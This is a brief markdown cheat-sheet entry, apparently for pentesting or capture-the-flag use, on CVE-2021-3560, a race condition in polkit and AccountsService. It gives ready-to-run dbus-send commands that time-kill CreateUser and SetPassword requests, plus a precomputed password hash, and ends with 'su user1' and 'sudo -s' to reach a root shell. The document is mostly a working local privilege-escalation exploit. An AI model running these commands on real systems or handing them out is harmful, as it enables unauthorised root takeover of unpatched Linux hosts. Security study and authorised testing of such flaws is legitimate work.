# CVE-2021-3560
* Exploit `< 0.105-26ubuntu1.1`
## Racing Condition
* Request creation of account via dbus message and `pkexec`. sleep time is variable.
```sh
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:user1 string:"New Account" int32:1 & sleep 0.005s; kill $!
```
* Create password via `openssl passwd -6 -salt salt password123`
```sh
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$cevuzTZ/QBjzuZG0/ebEeedmcTnhyM8ITUu8K032Cp2XvIibq7voqYagm18bwpLBqrg/l/l6YxTmKKibJz5r10' string:'New Password' & sleep 0.005s; kill $!
```
* Request is killed after polkits receives it
* Polkit requests uid of user who sent the message, which has been deleted
* Error will be thrown
* Uid turns to root afterwards
* Request succeeds
* `su user1` and `sudo -s`
